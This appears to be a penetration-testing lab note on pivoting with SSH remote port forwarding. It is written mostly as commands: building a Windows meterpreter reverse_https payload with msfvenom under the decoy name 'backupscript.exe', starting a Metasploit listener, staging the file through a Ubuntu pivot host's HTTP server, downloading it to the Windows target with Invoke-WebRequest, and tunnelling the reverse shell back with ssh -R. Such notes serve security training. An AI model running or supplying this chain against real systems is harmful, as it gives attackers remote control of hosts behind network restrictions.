3. Remote & Reverse port forwarding with SSH

Sometimes, we might want to forward a local service to the remote port as well. ![](/img/Pasted image 20240824140518.png) The outgoing connection for the Windows host is only limited to the 172.16.5.0/23 network. ![](/img/Pasted image 20240824140702.png|750)

Windows msfvenom payload for reverse port forwarding

 We will use the port 8080 on the Ubuntu server to forward all of our reverse packets to our attack hosts' 8000 port, where our Metasploit listener is running.  

msfvenom -p windows/x64/meterpreter/reverse_https lhost= <InternalIPofPivotHost> -f exe -o backupscript.exe LPORT=8080

lhost in this scenario (pic above) is 172.16.5.129

Can use metasploit to start a listener.

msf6 > use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 0.0.0.0
set lport 8000
run

Transfer payload to ubuntu host:

scp backupscript.exe ubuntu@<ipAddressofTarget>:~/

Start HTTP server on ubuntu server in same directory as payload:

python3 -m http.server 8123

Download payload on windows machine:

Invoke-WebRequest -Uri "http://172.16.5.129:8123/backupscript.exe" -OutFile "C:\backupscript.exe"

Once payload is on windows host:

(RUN FROM ATTACKING HOST)

ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:8000 ubuntu@<ipAddressofTarget> -vN

With this setup, we run payload from Windows target. If payload is executed as intended we can see logs from pivot on pivot host.